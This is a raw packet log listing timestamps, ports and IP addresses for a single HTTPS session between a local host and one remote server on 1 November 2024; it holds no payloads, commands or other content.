Nov 1, 2024 13:42:29.521013975 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.521028042 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.521070957 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.521368980 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.521390915 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.521459103 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.521467924 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.521514893 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.522007942 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.522038937 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.522114992 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.522154093 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.522161007 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.522180080 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.522193909 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.522201061 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.522212982 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.522226095 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.522255898 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.522262096 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.522300005 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.522327900 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.522527933 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.522546053 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.522604942 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.522614002 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.522663116 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.522829056 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.522850037 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.522898912 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.522907019 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.522949934 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.523205042 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.523226976 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.523272991 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.523279905 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.523325920 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.523456097 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.523480892 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.523530006 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.523536921 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.523582935 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.523780107 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.523799896 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.523837090 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.523844957 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.523873091 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.524096012 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.524117947 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.524137974 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.524147987 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.524158955 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.524183989 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.524209023 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.524477959 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.524494886 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.524539948 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.524548054 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.524591923 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.524630070 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.524647951 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.524699926 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.524708033 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.524753094 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.525028944 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525052071 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525096893 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.525104046 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525125980 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.525156975 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.525165081 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525177956 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525202036 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525224924 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.525232077 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525259018 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.525269032 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.525470018 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525489092 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525518894 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.525527000 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525553942 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.525605917 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.525717974 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525748014 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525782108 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.525788069 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525813103 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.525834084 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.525929928 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525949001 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.525990009 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.525998116 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.526020050 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.526041031 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.526207924 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.526228905 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.526276112 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.526283979 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.526328087 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.526405096 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.526427031 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.526470900 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.526478052 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.526501894 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.526516914 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.526863098 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.526884079 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.526922941 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.526928902 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.526957989 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.526968002 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.526968002 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.526977062 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.526993036 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.526995897 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.527024984 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.527031898 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.527081966 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.527276993 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.527297020 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.527344942 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.527352095 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.527398109 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.527401924 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.527410984 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.527432919 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.527447939 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.527457952 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.527502060 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.527702093 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.527726889 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.527774096 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.527781963 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.527801991 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.527817965 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.527887106 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.527904034 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.527942896 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.527951002 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.527964115 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.527990103 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.528083086 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.528104067 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.528145075 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.528151035 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.528187990 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.528196096 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.528460979 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.528481007 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.528513908 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.528522015 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.528558969 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.528579950 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.547921896 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.547944069 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.548059940 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.548070908 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.548127890 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.548216105 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.548232079 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.548285961 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.548295975 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.548345089 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.638907909 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.638926983 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.639081001 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.639106035 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.639178038 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.639198065 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.639215946 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.639276981 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.639286041 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.639334917 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.639678001 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.639695883 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.639751911 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.639760017 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.639796972 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.639974117 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.639993906 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.640028954 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.640038967 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.640064001 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.640072107 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.640346050 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.640361071 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.640410900 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.640419960 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.640461922 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.640697956 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.640716076 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.640759945 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.640768051 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.640784025 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.640815973 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.640918970 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.640935898 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.640980005 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.640994072 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.641035080 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.641139030 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.641155005 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.641201973 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.641210079 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.641257048 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.641336918 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.641355038 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.641411066 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.641417980 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.641474009 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.641608000 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.641623020 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.641669989 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.641676903 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.641711950 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.641726017 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.641894102 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.641908884 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.641951084 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.641957998 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.641983032 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.642025948 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.642218113 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.642234087 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.642272949 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.642280102 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.642294884 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.642319918 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.642463923 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.642481089 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.642535925 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.642544985 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.642591953 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.642842054 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.642863989 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.642904997 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.642911911 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.642930031 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.642957926 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.643019915 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.643045902 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.643085003 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.643091917 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.643110037 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.643131971 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.643362999 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.643415928 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.643450975 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.643457890 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.643475056 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.643495083 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.643508911 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.643527031 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.643568039 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.643574953 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.643599987 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.643627882 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.643687010 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.643703938 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.643753052 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.643759966 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.643800974 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.644006968 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.644045115 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.644072056 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.644078970 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.644093037 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.644124985 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.644315004 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.644330978 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.644366026 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.644372940 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.644396067 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.644421101 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.644540071 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.644556999 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.644603968 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.644610882 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.644646883 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.644658089 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.644813061 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.644833088 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.644867897 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.644874096 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.644903898 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.644916058 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.645169020 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.645184994 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.645220041 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.645227909 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.645261049 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.645282984 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.645334005 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.645354986 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.645420074 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.645430088 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.645443916 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.645481110 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.645596981 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.645612955 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.645658016 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.645664930 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.645684958 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.645703077 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.645772934 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.645790100 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.645826101 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.645833015 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.645854950 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.645870924 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.646310091 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.646326065 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.646372080 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.646378994 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.646411896 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.646421909 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.646490097 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.646507025 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.646552086 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.646559000 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.646573067 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.646599054 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.646799088 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.646821022 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.646862984 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.646871090 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.646894932 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.646905899 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.647382975 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.647417068 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.647444010 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.647450924 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.647473097 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.647475958 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.647495985 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.647500992 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.647512913 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.647521973 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.647546053 CET	49762	443	192.168.2.4	87.106.236.48
